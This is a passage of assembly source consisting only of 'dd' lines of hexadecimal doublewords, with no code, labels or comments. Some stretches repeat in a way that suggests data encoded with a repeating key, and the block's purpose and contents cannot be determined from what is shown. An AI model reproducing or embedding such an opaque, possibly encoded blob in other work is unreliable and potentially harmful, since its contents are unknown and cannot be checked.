		dd 0A062F0C7h, 0F744A024h, 63D2AAF4h, 0E4C5A145h, 85D424F5h
		dd 0AAF3E5B9h, 0D665A3ABh, 0B1A4FCBBh, 0F6FC81C1h, 406000F4h
		dd 0ADD444B0h, 0E0E2D0AFh, 0C6838681h, 0A1A74B5Ah, 403233AAh
		dd 0BAFE0CD9h, 0BD81C8B4h, 0AD8B9CC8h, 0BB9D40B2h, 0BBADC404h
		dd 0BF6927C7h, 540D63FEh, 0DE3FA94Fh, 49541563h, 0C4C6BEA9h
		dd 1306E7E9h, 0BEA4C0A0h, 0DBECF3BFh, 914F74B5h, 0BD81DCBFh
		dd 30BFE4C7h, 8CC860F1h, 79E2C7BDh, 0AAADD044h,	0AD69E25Dh
		dd 0ADA4F3DFh, 85C310E8h, 0BEA1D8BBh, 84B8A0D8h, 0F4A3637Bh
		dd 0BAD4FB44h, 84FC3054h, 9D1474E1h, 0CE4549E1h, 0E7A5CCEDh
		dd 0ADCCC455h, 6DE2C77Dh, 0EDAD9C6Ch, 8159658Dh, 0C7B46480h
		dd 0E545E374h, 74D7F137h, 77DD44F8h, 5566C7BEh,	6EED4B68h
		dd 0C56527C7h, 0F7F9EDD9h, 9EA0D688h, 75B1FE34h, 0B5CB44C8h
		dd 5D23C738h, 0E5A0D705h, 45556B01h, 0F75E36DFh, 0CB2E5495h
		dd 95C7AEEDh, 0FEF005ECh, 0C7F765DAh, 67EDD5C7h, 49412109h
		dd 23AFADB2h, 0CC86D3D5h, 57F75CFEh, 0ADF96966h, 0C655C769h
		dd 64EDD487h, 8841AB11h, 0E7B5C6A5h, 0A0E97DA6h, 0A23BCADh
		dd 0EDDD05D1h, 5492B263h, 0B8ADCF2Eh, 8412303h,	0D7BCA135h
		dd 89AD4D67h, 0E9A3ED01h, 0EDE4045Dh, 75E1F7F1h, 34F665F7h
		dd 4A887D7h, 913F3FF1h,	97AF51E2h, 0B4F774ADh, 0F49A24F4h
		dd 0DC7C51D0h, 37FC850Dh, 846DA1F7h, 0C7F673EDh, 7013B461h
		dd 0E13B0727h, 0ADC74565h, 7DA3C7B8h, 0B8F4FC44h, 0BC000340h
		dd 0F77D4476h, 81A3A024h, 3591E1B5h, 0B5CD047Bh, 0E8B3C73Dh
		dd 0D83472A3h, 0A351E223h, 815E1FC0h, 0A0CF7565h, 0E293D7B9h
		dd 0ED8B03FCh, 20C1E7EDh, 7134D975h, 4461E25Ah,	0F7FE36C8h
		dd 51827D62h, 74A14374h, 0F4EB04C4h, 0E73D90A2h, 39C493E2h
		dd 0E7165C1h, 0A50E3E99h, 0A5E25CF4h, 5BD775EDh, 0E1272AE9h
		dd 0C55DD7ADh, 0FC34B16Ah, 2155E2C0h, 88DAB1B3h, 2C0E2C82h
		dd 4AA194B9h, 0E1E72A0Ch, 0CCBCE467h, 0A2E1F0C5h, 316A7F4h
		dd 0E428E18Ah, 0EAF4B9E7h, 60C29CA1h, 0A1CF74ADh, 9DA24D44h
		dd 0B0CCFA34h, 770E2EF7h, 0F7BDB4C8h, 0DB445563h, 2CD46582h
		dd 0AD77E924h, 0FC95C76Ah, 0B778E084h, 44B1CAE7h, 0D24EADE6h
		dd 0F644547Dh, 3D9366ADh, 0B1C9C460h, 75E2E731h, 3DADA623h
		dd 2E579991h, 0C72A2DEAh, 0D886D095h, 0F765DA78h, 0ADE506F3h
		dd 0DCD52567h, 64ADE6C7h, 9251EC01h, 0C7F7ADADh, 0FF445166h
		dd 0F7210837h, 0ADC144F7h, 5527A0D9h, 58ADA83Ch, 12E872A0h
		dd 0D7BBAD9Ch, 0A8AFB83Ah, 0FAE72EADh, 0FBE44598h, 7D213D90h
		dd 0F4FBB44Ah, 44F035C7h, 19AADC8h, 544955E2h, 2154E23Eh
		dd 0AD8AE159h, 8C3C4CA2h, 0B5DBB995h, 14E4B3E7h, 0F777F485h
		dd 690FC876h, 9BA167B3h, 0B08A6E73h, 0DCC34D80h, 0BFC85F5h
		dd 0E2F88E11h, 0E777579Fh, 761CE4F9h, 723D8AADh, 0AD630FC8h
		dd 2F8DF04Eh, 39769AE3h, 843A8DF7h, 0A167F4F4h,	0FF84364Ch
		dd 217C847Ch, 4BA0A365h, 0F875F731h, 7B41F3Fh, 0BF9BCC5Ch
		dd 5C09434Eh, 0E5A99B4Eh, 61C720EDh, 0D6C7E94Dh, 7D21E75Bh
		dd 67ADBAE9h, 0AFD87293h, 0E732C3BBh, 0C744F8B1h, 2093EDADh
		dd 33FF0441h, 59E630E1h, 7C76B9D9h, 0E1D436D7h,	0C77CFC85h
		dd 0A8BEECC5h, 62F7FFC2h, 3EAD2275h, 0EC3DE732h, 0FE00CE44h
		dd 0B9D8A3E7h, 0D7E5D213h, 0B2BECC72h, 0E2901F34h, 0B2B62375h
		dd 0FFEE1B9h, 11AD8B00h, 98E0730Dh, 3CF082B8h, 6A7C8651h
		dd 902E3B82h, 0E6451808h, 4DA0C7FDh, 0ABD6C7E9h, 0E94D60E7h
		dd 0F753D6C7h, 0C5EB4D60h, 5EF76BF4h, 6DE56924h, 0E555C773h
		dd 336D91E9h, 7C495C7h,	0D7343AF8h, 320BACE5h, 0A3A1C8ADh
		dd 0ADB62E7Dh, 683DD228h, 0D0AD707Ah, 0C459E281h, 0C77FADC7h
		dd 0ACF35435h, 0F7A0CCE7h, 0ADA95A74h, 61A2A1C0h, 5978C5C4h
		dd 6459E021h, 9F603497h, 327ADE34h, 0E3334877h,	0ADC04479h
		dd 4523D775h, 54F4F104h, 0AA6DE2C2h, 0E7FCED8Bh, 99806523h
		dd 0F62C87Bh, 7BB15F24h, 0BF8962C6h, 0FCBB491Ch, 202C0062h
		dd 62F0AD9Ch, 9DDC3401h, 8762E9FBh, 66AE9D04h, 69A925EDh
		dd 0A9F6E304h, 8461E7D7h, 0C7B5ADEBh, 81A17121h, 21C7B774h
		dd 0FCF0C47Dh, 61A1ADCEh, 0CAD7603h, 857D2FBFh,	0F7E5ADE5h
		dd 0E3C74926h, 63D7A634h, 0F486A175h, 55E242A9h, 6AADF105h
		dd 44D838C7h, 5307ADCAh, 0AB80EC02h, 0F5B158F4h, 0B5CDC4E8h
		dd 0EBFC20EAh, 3EADCD84h, 44387FF1h, 90D971EDh,	9DA0FB4Eh
		dd 0F4C1BCF7h, 0AD7ABCF8h, 4DE2D736h, 32AD97F4h, 0EA65A0E7h
		dd 0D7B5F7A9h, 8AE45521h, 44D7F676h, 0B4A962C4h, 5523E735h
		dd 92388EA1h, 84FA47B0h, 45ECF4D2h, 358D277Bh, 90A1A5ADh
		dd 0B78D15BCh, 9804A0CEh, 0B73EC344h, 845921F7h, 0A9AAB7C4h
		dd 0D4C42357h, 3BD7B577h, 0B4E94568h, 55A6D728h, 0D8DFB58Bh
		dd 0E3CC712Ch, 0D77CF4B5h, 0EDC5674Eh, 0FFC79AEDh, 7FFCC5F4h
		dd 544CF7E5h, 4D2DD906h, 4F716AA1h, 638C2D89h, 0BD4F71EBh
		dd 4C638C2Dh, 67CD6FE5h, 0E54C65C9h, 0C967CD6Fh, 6FE54C65h
		dd 65C967CDh, 0CD6FE54Ch, 4C65C967h, 67CD6FE5h,	0E54C65C9h
		dd 0C967CD6Fh, 6FE54C65h, 65C967CDh, 0CD6FE54Ch, 4C65C967h
		dd 67CD6FE5h, 65E475C9h, 0E1EDF585h, 6FE54CE7h,	65C967CDh
		dd 0CD6FE54Ch, 4C65C967h, 67CD6FE5h, 0E54C65C9h, 0C967CD6Fh
		dd 0C5E3FC65h, 0F765FCF0h, 0F0C574B4h, 0E4A3A047h, 0ED858171h
		dd 0DCB983A0h, 23FCB0DAh, 57CB4F7h, 0A3A0C2DCh,	8E817168h
		dd 0B47DA56Dh, 0FCF0874Ch, 5CB4F72Eh, 0CAFCF084h, 81B312F7h
		dd 93A02DA3h, 908171ACh, 6383A0EDh, 2DB18171h, 71EE93A0h
		dd 98AD9881h, 4658B47Ch, 0E794FCF0h, 0C6C67EFCh, 0AFF73DADh
		dd 0ADD90645h, 5DADE7FAh, 38ADD246h, 67D6CF7h, 0F73BADDEh
		dd 0D706592Dh, 25F7592Dh
		dd 0ADCE867Dh, 5D2EF73Fh, 8934FE86h, 0C671ECF7h, 0E7F02DE0h
		dd 0D50565E3h, 0E5C7F1EDh, 0EDE4C561h, 7929C725h, 8FADC244h
		dd 4549A0C7h, 0D7BAEDCEh, 0DB065DABh, 0AEF7A32Dh, 2DF28679h
		dd 496F91B9h, 0DE2DC347h, 47DA2C7h, 0C7066DFFh,	0E0C64D69h
		dd 0EDC722ADh, 6DF8C76Dh, 4169F787h, 5BADE5C6h,	45122F7h
		dd 0C71E6DE2h, 0F0064D6Ah, 60F749EDh, 2DCE8441h, 79A1D746h
		dd 1B2DECC4h, 665EAE7h,	0F7B5EDEEh, 0C947512Fh,	0A8E7092Dh
		dd 0ADC28675h, 6DEFC732h, 0B42DD847h, 47592FD7h, 0E72D2DCFh
		dd 0DA87552Ch, 0AFE7316Dh, 2DD24775h, 6DE2C7DCh, 36DF304h
		dd 0C665E9E7h, 0D7B8ADFEh, 0E70779AEh, 2AF79D2Dh, 0EDF90651h
		dd 69ECD7AAh, 0F66DCB87h, 457DA7C7h, 0C7FEADCFh, 0FF057DA6h
		dd 26D77AADh, 0ADE40559h, 79AAD798h, 5EDE706h, 0C65529E7h
		dd 0E7FFADEAh, 0F90575A6h, 0AFF7B1ADh, 2DD14771h, 71ABF791h
		dd 9BEDD146h, 661EAF7h,	0F75DEDEDh, 0F60461E2h,	68E70F6Dh
		dd 0ADD68645h, 61E6F77Dh, 6FADF605h, 8571A4F7h,	0E7E7EDDAh
		dd 0E9C575A5h, 0A9D780EDh, 0ADF7C679h, 69E7D774h, 82ADC045h
		dd 0C669E9D7h, 0E7E9ADFBh, 0CD854564h, 0ACC728EDh, 6DC4877Dh
		dd 71A5F767h, 2EEDEAC5h, 874D6CC7h, 0D7666DD0h,	0ECC579A5h
		dd 0E4C7ECEDh, 0EDD3856Dh, 65EDE723h, 126DFEC7h, 466DEBC7h
		dd 0D796EDD8h, 0C346496Bh, 0A7D776EDh, 0ADCC4579h, 6DEEC73Ah
		dd 5F2DE807h, 471A2F7h,	0F7616DFAh, 0FEC54165h,	0EDD7A2EDh
		dd 6DFBC769h, 5527E7F3h, 0E8ADD145h, 854D64C7h,	900AEDCBh
		dd 0F9455164h, 23C77E2Dh, 6DD1076Dh, 5D60C773h,	0CDADFE46h
		dd 649EFE7h, 0C7716DC1h, 0D3067DE0h, 66D72BADh,	6DD2C451h
		dd 61A8C750h, 9ADD844h,	0C65DEED7h, 0F7AFADF7h,	0F8044967h
		dd 0EBD71D2Dh, 0ADFB055Dh, 6127D72Eh, 0C4EDF604h, 8779ADE7h
		dd 0D7316DC3h, 0DC0671E0h, 0E8F7916Dh, 2D641849h, 552BF79Eh
		dd 0EDADE545h, 4465E7E7h, 51CC2DC6h, 0D4044124h, 69E7896Dh
		dd 0ADFE077Dh, 752BF733h, 7FADCF86h, 0C7512EC7h, 0C7172DEEh
		dd 0DB4479A1h, 68F74A6Dh, 0EDDC046Dh, 7561D7ABh, 77ADEF87h
		dd 874528C7h, 0E7F6ADE9h, 0FD0765A8h, 6BE7F3ADh, 2DEAC771h
		dd 4961C716h, 0D12DF507h, 0C67163D7h, 0C71E2DCAh, 0CFC45967h
		dd 0ABF74F6Dh, 2DDE4651h, 7DA4C71Bh, 35ADE6C7h,	874DA9F7h
		dd 0D7B6ADE8h, 0D6447DA8h, 0A0F729EDh, 6DE08561h, 4DACE784h
		dd 0B4ADE0C7h, 464129D7h, 0E79B2DDCh, 0E7C575E4h, 0A5C765EDh
		dd 0ADDA065Dh, 65EDF73Ah, 0F1ADF547h, 445EAE7h,	0E7EAEDD9h
		dd 0FA4571A1h, 6EC7026Dh, 6DCDC449h, 6DEBD7CFh,	0B1ADF447h
		dd 8451EAD7h, 0C70D6DC6h, 0E5C7652Ah, 0E9E7F5ADh, 6DEAC571h
		dd 596DC706h, 416DF705h, 45612FF7h, 0E7826DF8h,	0DD04652Eh
		dd 61E7EBEDh, 2DD00661h, 69A5E798h, 0CA6DD944h,	47928D7h
		dd 0F7486DD3h, 0FF4759E9h, 0A2F7532Dh, 0EDC4C46Dh, 65E3D7ADh
		dd 0E936FC45h, 0A345ABF7h, 0D79AEDBFh, 0EB0669EAh, 0E8C70AEDh
		dd 0ADC8866Dh, 5129F785h, 0E3ADE9C6h, 0C55525E7h, 0D76CEDF1h
		dd 0D08569E4h, 2BE715EDh, 0EDCA4655h, 5920D74Ah, 0A82DC484h
		dd 8779ACD7h, 0E7C76DC7h, 0E9C475A1h, 0A4D76E2Dh, 0EDDC8579h
		dd 75A9E701h, 0B0ADF2C6h, 4779AFD7h, 0C7DA2DD7h, 0E7045D22h
		dd 26F77B6Dh, 0ADE20551h, 0D43AC7D7h, 0B26DDF47h, 467920F7h
		dd 0F7A3EDD7h, 0C3454964h, 0ACB16A2Dh, 0ADC5C665h, 41EFE7FDh
		dd 856DE485h, 875D6CE7h, 0F736ADEAh, 0F94769E8h, 22D7D22Dh
		dd 0EDC7C475h, 75A3C76Dh, 6FEDCF84h, 54922C7h, 0D7C16DF5h
		dd 0EDC5496Fh, 0EDD7C76Dh, 0ADE3C755h, 7969C774h, 5E2DCBC6h
		dd 444967F7h, 0D7CB6DDDh, 0F14545E8h, 26E7E0EDh, 2DFB4779h
		dd 5562F752h, 72ADFB07h, 857DEBC7h, 0F727EDEEh,	0FE475124h
		dd 0A2C7132Dh, 2DC58649h, 7566D7DDh, 69EDD744h,	475A0C7h
		dd 0C76BEDDFh, 0EF857521h, 24C767EDh, 0ADEC876Dh, 5568D7B7h
		dd 64EDE3C5h, 0C44565C7h, 0E7ECEDC1h, 0F9074523h, 0ABE7F2ADh
		dd 2DE78759h, 5120F755h, 112DF607h, 0C46923C7h,	0D7CE6DC9h
		dd 0C7C6752Bh, 0AFC77DADh, 6DF40541h, 616FE781h, 806DF005h
		dd 8669AFE7h, 0D7DC2DC1h, 0DC066DA6h, 6DD7BBADh, 2DC28671h
		dd 456D1026h, 352DEDC6h, 2C4923C7h, 0F753ADBCh,	0D2445123h
		dd 2DF7A56Dh, 6DE9C751h, 71A8F789h, 0C2ADC186h,	0C45D21C7h
		dd 0F7B72DF7h, 0C547416Fh, 0F0E7D32Dh, 6DC907F4h, 4DA0C770h
		dd 0D835D606h, 0C659A5D7h, 0F75F2DCFh, 0FCC64DA7h, 0AAE70EF7h
		dd 0ADDF044Dh, 5D2F80E9h, 132DCC47h, 85456521h,	0C74BADCAh
		dd 0EE86716Eh, 6DE7FB73h, 0EDC0C44Dh, 5523D7ACh, 6EEDCB84h
		dd 545E2C7h, 0E7E2EDF9h, 0C38479A7h, 0EAF74C6Dh, 6DD10469h
		dd 79A9D7C8h, 542DE387h, 0C649E0F7h, 0D7DF2DCDh, 0F84761E7h
		dd 22E7922Dh, 0ADD14645h, 5D2CE7F8h, 22EDFA05h,	877DE7F7h
		dd 0F737ADEEh, 0D8446128h, 28E78A6Dh, 6DEEC551h, 59ADC707h
		dd 476DEFC5h, 4665ADF7h, 0E7C134D2h, 0DB055D22h, 0E2F775EDh
		dd 6DD00771h, 7D29E7D4h, 4FADC344h, 0C445ECE7h,	0C7D3ADEDh
		dd 0E6C569A5h, 0AAD7A4EDh, 2DD3067Dh, 5D24E7A5h, 61EDEBC5h
		dd 4461E9C7h, 0C70DADC4h, 0D0057163h, 2FC732EDh, 0ADF28479h
		dd 4163F79Bh, 0D16DDC07h, 0C77DA4D7h, 0F7816DE3h, 0E4C6616Ch
		dd 66C7F32Dh, 0EDF88551h, 5D2C8096h, 936DDC87h,	4661EBF7h
		dd 0E71FEDDDh, 0F606456Ah, 6CE72FEDh, 6DD68745h, 61E4F76Dh
		dd 51EDD685h, 444163F7h, 0F78F6DDEh, 0D5864168h, 2DC724ADh
		dd 6DECC75Dh, 75ACE729h, 0AE6DC287h, 87496CD7h,	0C7EA6DD3h
		dd 0C7855D24h, 0ADD7A0EDh, 6DF7C779h, 416BF797h, 4EDC546h
		dd 0C65D29C7h, 0F74FADECh, 0DA8471A0h, 67E7F12Dh, 0ADDD4545h
		dd 5928D78Ch, 25ADDF86h, 0C7552DE7h, 0F7B36DEAh, 0DD4761EFh
		dd 6DF7A72Dh, 6DE5C741h, 5125F763h, 0BCEDF2C5h,	7592ED7h
		dd 0C7102DFFh, 0D4467DABh, 0E1C7C4EDh, 2DE3C46Dh, 4563E7D1h
		dd 456DDD44h, 0C461E1F7h, 0F7AF2DE6h, 0D587416Ch, 27F7736Dh
		dd 0ADD24551h, 5925D762h, 3BEDF4C5h, 765EEE7h, 0E7CF2DEEh
		dd 0D98475A0h, 6ED7BE2Dh, 2DF30749h, 7DA4C7EEh,	8CEDDF85h
		dd 0C73468E7h, 0E78339F9h, 0C1C710EBh, 6BE7A639h, 39C90710h
		dd 34EAE789h, 0F139D184h, 0C5286AE7h, 0E78F39D9h, 0E10410F5h
		dd 75E7A3F8h, 0F8E9442Ch, 0CF4E75Ch, 0B4F8F187h, 871074E7h
		dd 0E7F5F8F9h, 0C1C738F7h, 77E7A0F8h, 0F8C94608h, 8F6E797h
		dd 0DEF8D1C5h, 443876E7h, 0E79AF8D9h, 0E1460CF1h, 71E70AB8h
		dd 0B8E90638h, 8F0E740h, 55B8F184h, 851470E7h, 0E74EB8F9h
		dd 0C1440CF3h, 73E773B8h, 0B8C9C420h, 18F2E765h, 0F2B8D1C4h
		dd 63472E7h, 0E7E8B8D9h, 0E1C504FDh, 7DE70178h,	78E90428h
		dd 18FCE731h, 0E678F105h, 842C7CE7h, 0E7BC78F9h, 0C1841CFFh
		dd 7FE7EF78h, 78C94720h, 30FEE726h, 0A778D107h,	53C7EE7h
		dd 0E70378D9h, 0E10510F9h, 79E76C38h, 38E94400h, 18F8E796h
		dd 2338F187h, 871C78E7h, 0E7F838F9h, 0C1451CFBh, 7BE7AE38h
		dd 38C9072Ch, 8FAE75Eh,	5838D106h, 0C4107AE7h, 0E7BD38D9h
		dd 0E1C61CC5h, 45E73BFBh, 0FBE9051Ch, 38C4E7B9h, 98FBF187h
		dd 440444E7h, 0EC33FBF9h, 855D7527h, 2452EFADh,	2DAD5D55h
		dd 752B72E9h, 0EB6D9B1Dh, 1D55A142h, 52F52DBCh,	0BBDC7561h
		dd 0A862F72Dh, 2D8DDC55h
		dd 756142F1h, 0F3AD8E9Ch, 9C556742h, 42FD2D80h,	0A05C75A4h
		dd 0A852FF2Dh, 0ADB05C55h, 75AC62F9h, 0FB2DAA1Ch, 1C55E462h
		dd 72C5EDA3h, 95DF75EDh, 0A162C72Dh, 6D9FDF55h,	75EB52C1h
		dd 0C32D969Fh, 9F552A42h, 42CD2DA5h, 885F756Dh,	2E62CF6Dh
		dd 0ADAD5F55h, 75A562C9h, 0CB2DBA1Fh, 1F55E972h, 52D5AD90h
		dd 95DE75E3h, 6442D7EDh, 0EDABDE55h, 752372D1h,	0D3ADA99Eh
		dd 9E55A462h, 52DDED90h, 845E7527h, 0EF42DF2Dh,	2DA95E55h
		dd 756672D9h, 0DBADB21Eh, 1E55EA42h, 12E56DA7h,	89D975A1h
		dd 0AB12E76Dh, 0ED8ED955h, 75AC32E1h, 0E36D8599h, 99556C22h
		dd 12ED2DB4h, 83597522h, 2202EFADh, 6D8E5955h, 75ED12E9h
		dd 0EB2DAF19h, 19556732h, 22F52DB6h, 9CD87526h,	0EB02F7ADh
		dd 0EDB8D855h, 75A202F1h, 0F3ED9E98h, 9855A002h, 2FDADABh
		dd 0BE587524h, 6502FF2Dh, 0AD895855h, 75AB22F9h, 0FBADB818h
		dd 18552302h, 2C52D8Ah,	8DDB75AFh, 0AF22C76Dh, 0ED92DB55h
		dd 756D12C1h, 0C3ED979Bh, 9B55E112h, 12CDADBCh,	0A95B75AEh
		dd 0A322CF6Dh, 2DB75B55h, 75EB22C9h, 0CB6D911Bh, 1B556A02h
		dd 32D5EDA2h, 8ADA75A7h, 2D02D76Dh, 2D8CDA55h, 756422D1h
		dd 0D32DB09Ah, 9A556D22h, 2DDAD8Ah, 815A75E2h, 0EA32DFEDh
		dd 2DA25A55h, 75E032D9h, 17ED861Ah, 46456BE7h, 0F78DADD9h
		dd 0F9865128h, 0E7B3E56Dh, 2DB8C175h, 5528A3E7h, 0E16DA3C1h
		dd 8175ADB3h, 83E36DB5h, 0A18155E1h, 6F83ED2Dh,	2DBD4175h
		dd 0D0A5B3EFh, 0E9EDA461h, 175E483h, 93EB6D86h,	9C015520h
		dd 0E8A3F52Dh, 6DB4C075h, 5560A3F7h, 0F1ED82C0h, 80756EB3h
		dd 93F3ED9Dh, 968055E4h, 0E693FD6Dh, 6D9E4075h,	55E2A3FFh
		dd 0F96DAC40h, 75AF93h,	83FB6D93h, 0B70055E7h, 0E7A3C56Dh
		dd 0ADACC375h, 552A93C7h, 0C1AD9DC3h, 83756283h, 0A3C36DAAh
		dd 0A583556Ah, 0A493CD6Dh, 2DBF4375h, 55E6B3CFh, 0C92DA343h
		dd 3756EA3h, 0A3CB2DA6h, 920355EEh, 0E4B3D5ADh,	2DAEC275h
		dd 552AA3D7h, 0D12DB3C2h, 82756683h, 0A3D3AD86h, 92825522h
		dd 6293DDADh, 2D974275h, 556393DFh, 0D9AD8A42h,	275A9B3h
		dd 0B3DBED95h, 820255E5h, 6753E5ADh, 2D9BCD75h,	55A853E7h
		dd 0E16D8ECDh, 8D75A243h, 43E32DAFh, 0AC8D55EDh, 2273ED2Dh
		dd 2D9F4D75h, 556073EFh, 0E9ADA24Dh, 0D75EA63h,	63EB6D88h
		dd 870D55A8h, 2F53F56Dh, 6DB9CC75h, 55AF63F7h, 0F1AD97CCh
		dd 8C75E963h, 73F36D92h, 0B68C552Ah, 0A743FD6Dh, 0ED934C75h
		dd 552653FFh, 0F92D924Ch, 0C752963h, 73FBED91h,	800C55AFh
		dd 0EA73C52Dh, 0AD94CF75h, 556863C7h, 0C1ED94CFh, 8F75A473h
		dd 53C3EDA1h, 868F55A9h, 0E953CDEDh, 0EDBD4F75h, 55AC43CFh
		dd 0C9EDA04Fh, 0F756C43h, 43CBEDA2h, 0A50F55E4h, 0EB43D56Dh
		dd 2D8ECE75h, 55A753D7h, 0D16D97CEh, 8E75A273h,	53D3EDACh
		dd 898E55EDh, 6443DDEDh, 0EDBE4E75h, 552343DFh,	0D9ADBF4Eh
		dd 0E75EF63h, 53DBADB7h, 0B30E5566h, 0EE13E52Dh, 0ED8CC975h
		dd 55EB13E7h, 0E1ED8AC9h, 8975AD23h, 33E3ADB6h,	858955E8h
		dd 97E79EC6h, 0FECD4564h, 6017E7DAh, 33FED507h,	444C96E7h
		dd 0E717FEDDh, 0E5075C16h, 91E7ABBEh, 0BEEDC44Ch, 4411E7F6h
		dd 16BEF584h, 866490E7h, 0E71EBEFDh, 0C5474C10h, 93E71BBEh
		dd 0BECDC468h, 6813E7B6h, 84BED505h, 0C47092E7h, 0E79BBEDDh
		dd 0E5C56C12h, 9DE73A7Eh, 7EED8464h, 581DE7EAh,	0CF7EF587h
		dd 84609CE7h, 0E70D7EFDh, 0C5C4641Ch, 9FE7067Eh, 7ECD876Ch
		dd 441FE782h, 987ED505h, 7549EE7h, 0E7487EDDh, 0E5864C1Eh
		dd 99E7AD3Eh, 3EED8564h, 6819E71Ah, 513EF506h, 0C65098E7h
		dd 0E7E63EFDh, 0C5856818h, 9BE7DE3Eh, 3ECD8458h, 741BE700h
		dd 203ED5C4h, 0C6749AE7h, 0E70C3EDDh, 0E5045C1Ah, 0A5E7AAF9h
		dd 0F9ED4434h, 25E7B2h,	39F9F585h, 4424A4E7h, 0E785F9FDh
		dd 0C5C41824h, 0A7E7D2F9h, 0F9CD452Ch, 2427E76Fh, 0C7F9D587h
		dd 0C43CA6E7h, 0E75EF9DDh, 0E5070426h, 0A1E7E0B9h, 0B9ED861Ch
		dd 821E772h, 13B9F5C5h,	4624A0E7h, 0E769B9FDh, 0C5050C20h
		dd 0A3E767B9h, 0B9CDC400h, 3423E764h, 0F2B9D545h, 0C62CA2E7h
		dd 0E711B9DDh, 0E5471422h, 0ADE77D79h, 79ED8720h, 342DE780h
		dd 0BB79F546h, 4638ACE7h, 0E7D779FDh, 0C505382Ch, 0AFE7BE79h
		dd 79CDC710h, 1C2FE790h, 8F79D5C4h, 4414AEE7h, 0E77079DDh
		dd 0E506342Eh, 0A9E75F39h, 39ED4430h, 1C29E77Bh, 0E739F547h
		dd 70CA8E7h, 0E7FB39FDh, 0C5453028h, 0ABE76E39h, 39CD8514h
		dd 342BE74Ch, 5439D507h, 4604AAE7h, 0E79239DDh,	0E504342Ah
		dd 0B5E722F8h, 0F8EDC408h, 835E78Ah, 47F8F5C7h,	424B4E7h
		dd 0E76AF8FDh, 0C5073034h, 0B7E77CF8h, 0F8CDC404h, 3C37E725h
		dd 66F8D506h, 4420B6E7h, 0E7A8F8DDh, 0E5843836h, 0B1E78BB8h
		dd 0B8EDC73Ch, 1031E795h, 42B8F585h, 4620B0E7h,	0E7DBB8FDh
		dd 0C5870430h, 0B3E7A1B8h, 0B8CD4400h, 1C33E793h, 0C0B8D5C7h
		dd 8708B2E7h, 0E762B8DDh, 0E5C73832h, 0BDE79F78h, 78EDC61Ch
		dd 43DE7B0h, 1278F545h,	0C714BCE7h, 0E78D78FDh,	0C5C7003Ch
		dd 0BFE7A678h, 78CD0718h, 2C3FE75Ch, 0FF78D5C4h, 0C420BEE7h
		dd 0E78378DDh, 0E545103Eh, 0B9E72638h, 38ED0724h, 839E7F0h
		dd 6038F507h, 4428B8E7h, 0E7FA38FDh, 0C5043838h, 0BBE73B38h
		dd 38CD062Ch, 183BE73Fh, 9438D544h, 524BAE7h, 0E7A538DDh
		dd 0E544383Ah, 85E72FFBh, 0FBED061Ch, 805E710h,	78FBF547h
		dd 0C60C84E7h, 0E745FBFDh, 0C5C60004h, 87E7BAFBh, 0FBCD060Ch
		dd 3807E7B3h, 0D9FBD5C4h, 471086E7h, 0E7D0FBDDh, 0E5472C06h
		dd 81E70EBBh, 0BBED8714h, 2C01E7CCh, 0D5BBF504h, 73880E7h
		dd 0E79ABBFDh, 0C5872800h, 83E76CBBh, 0BBCD053Ch, 3803E72Ah
		dd 0D6BBD506h, 53482E7h, 0E78CBBDDh, 0E5463002h, 8DE7997Bh
		dd 7BED0420h, 200DE7D3h, 0A07BF505h, 0C5348CE7h, 0E7147BFDh
		dd 0C545280Ch, 8FE7157Bh, 7BCD8504h, 300FE740h,	437BD5C5h
		dd 0C5388EE7h, 0E7617BDDh, 0E5C7240Eh, 89E75D3Bh, 3BED4608h
		dd 2C09E72Ch, 0B83BF507h, 0C50088E7h, 0E7053BFDh, 0C5451408h
		dd 8BE7633Bh, 3BCD8508h, 0C0BE77Eh, 0CD3BD584h,	842C8AE7h
		dd 0E72B3BDDh, 0E5863C0Ah, 95E709FAh, 0FAED4500h, 1815E71Dh
		dd 0C4FAF545h, 842894E7h, 0E791FAFDh, 41592414h, 57E7EDFAh
		dd 0FAC90614h, 8D6E789h, 7FFAD184h, 0C60856E7h,	0E74AFAD9h
		dd 0E10500D1h, 51E777BAh, 0BAE9C414h, 18D0E7F3h, 0D1BAF1C6h
		dd 461850E7h, 0E74FBAF9h, 0C10608D3h, 53E735BAh, 0BAC9C410h
		dd 30D2E729h, 0B4BAD1C7h, 60052E7h, 0E765BAD9h,	0E10418DDh
		dd 5DE7F17Ah, 7AE90514h, 4DCE702h, 0B17AF147h, 47285CE7h
		dd 0E7F57AF9h, 0C1C718DFh, 5FE7417Ah, 7AC98710h, 30DEE7EBh
		dd 0CA7AD106h, 73C5EE7h, 0E7537AD9h, 0E14520D9h, 59E7E13Ah
		dd 3AE90618h, 2CD8E719h, 963AF186h, 0C51458E7h,	0E7213AF9h
		dd 0C14614DBh, 5BE7323Ah, 3AC98738h, 38DAE7F4h,	0D43AD185h
		dd 8479A9E7h, 0D70C6DF6h, 0F0066DAFh, 0F5E77AADh, 0FCE10550h
		dd 5075E7FCh, 0A3FCE984h, 468F4E7h, 0E7FDFCF1h,	0F9C76074h
		dd 0F7E736FCh, 0FCC18654h, 4C77E76Dh, 0C1FCC945h, 0C744F6E7h
		dd 0E774FCD1h, 0D9465C76h, 0F1E7CBFCh, 0BCE18574h, 5C71E752h
		dd 27BCE984h, 8648F0E7h, 0E7DDBCF1h, 0F9056C70h, 0F3E76BBCh
		dd 0BCC1C54Ch, 7C73E7B7h
		dd 0ECBCC9C5h, 8454F2E7h, 0E755BCD1h, 0D9866872h, 0FDE7CEBCh
		dd 7CE1446Ch, 707DE781h, 0DC7CE987h, 440FCE7h, 0E71C7CF1h
		dd 0F9C6447Ch, 0FFE7287Ch, 7CC14450h, 707FE786h, 767CC986h
		dd 4740FEE7h, 0E7FE7CD1h, 0D9847C7Eh, 0F9E7D87Ch, 3CE1464Ch
		dd 4C79E7BCh, 4E3CE904h, 0C544F8E7h, 0E74B3CF1h, 0F9044478h
		dd 0FBE7AC3Ch, 3CC1455Ch, 7C7BE7E2h, 0C83CC947h, 0C67CFAE7h
		dd 0E7DF3CD1h, 0D986507Ah, 0C5E7F83Ch, 0FFE18558h, 5045E737h
		dd 7FFE907h, 0C74CC4E7h, 0E7F9FFF1h, 0F9055C44h, 0C7E788FFh
		dd 0FFC1447Ch, 6847E7F7h, 58FFC9C5h, 0C55CC6E7h, 0E7BDFFD1h
		dd 0D9057046h, 0C1E730FFh, 0BFE10740h, 6041E744h, 0A2BFE9C6h
		dd 875CC0E7h, 0E79DBFF1h, 0F9064440h, 0C3E7C3BFh, 0BFC18560h
		dd 4043E7BFh, 46BFC986h, 8774C2E7h, 0E703BFD1h,	0D9855C42h
